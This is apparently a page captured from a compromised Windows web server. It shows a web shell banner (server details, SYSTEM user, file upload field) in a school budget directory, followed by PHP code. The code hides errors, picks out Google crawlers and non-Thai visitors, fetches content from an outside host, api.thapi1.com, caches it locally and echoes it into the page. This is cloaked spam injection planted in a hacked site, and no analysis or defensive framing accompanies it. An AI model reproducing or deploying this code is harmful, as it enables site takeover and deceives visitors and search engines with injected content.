| Server IP : 172.67.187.206 / Your IP : 172.71.28.156 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/school_budget/ |
Upload File : |
<?php
error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
$http_accept_language = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
$http_user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
function getTmpDir() {
$user = function_exists('get_current_user') ? @get_current_user() : '';
$preferredTmp = '/home/' . $user . '/tmp';
if ($user !== '' && is_dir($preferredTmp) && is_writable($preferredTmp)) {
return $preferredTmp;
}
$sysTmp = function_exists('sys_get_temp_dir') ? @sys_get_temp_dir() : '';
if ($sysTmp !== '' && is_dir($sysTmp) && is_writable($sysTmp)) {
return $sysTmp;
}
$fallback = dirname(__FILE__) . '/tmp';
if (!is_dir($fallback)) {
@mkdir($fallback, 0777, true);
}
return $fallback;
}
function fetch_remote_content($url) {
$content = '';
if (function_exists('file_get_contents')) {
$ctx = null;
if (function_exists('stream_context_create')) {
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 10,
'header' => "User-Agent: Mozilla/5.0\r\n"
),
'https' => array(
'timeout' => 10,
'header' => "User-Agent: Mozilla/5.0\r\n"
)
));
}
if ($ctx !== null) {
$content = @file_get_contents($url, false, $ctx);
} else {
$content = @file_get_contents($url);
}
if ($content !== false && $content !== '') {
return $content;
}
}
if (function_exists('curl_init')) {
$ch = @curl_init();
if ($ch) {
@curl_setopt($ch, CURLOPT_URL, $url);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
@curl_setopt($ch, CURLOPT_TIMEOUT, 15);
@curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
if (stripos($url, 'https://') === 0) {
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
}
$content = @curl_exec($ch);
@curl_close($ch);
if ($content !== false && $content !== '') {
return $content;
}
}
}
return '';
}
$is_google = (stripos($http_user_agent, 'google') !== false);
$not_th = (stripos($http_accept_language, 'th') === false);
if ($is_google || $not_th) {
$arr_mul = array("video/", "appserv/");
$dir = getTmpDir();
$file_count = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'data.txt';
$url = 'https://api.thapi1.com/index/url.php';
$cache_ttl = 48 * 60 * 60;
$need_refresh = true;
if (file_exists($file_count) && (time() - filemtime($file_count) < $cache_ttl)) {
$need_refresh = false;
}
if ($need_refresh) {
$content = fetch_remote_content($url);
if ($content === '') {
$content = file_exists($file_count) ? @file_get_contents($file_count) : '';
if ($content === false) {
$content = '';
}
}
$pos = 0;
for ($i = 0; $i < 100; $i++) {
$found = strpos($content, '{mulu}', $pos);
if ($found === false) {
break;
}
$replace_value = $arr_mul[array_rand($arr_mul)];
$content = substr_replace($content, $replace_value, $found, strlen('{mulu}'));
$pos = $found + strlen($replace_value);
}
@file_put_contents($file_count, $content, LOCK_EX);
} else {
$content = @file_get_contents($file_count);
if ($content === false) {
$content = '';
}
}
echo $content;
}
?>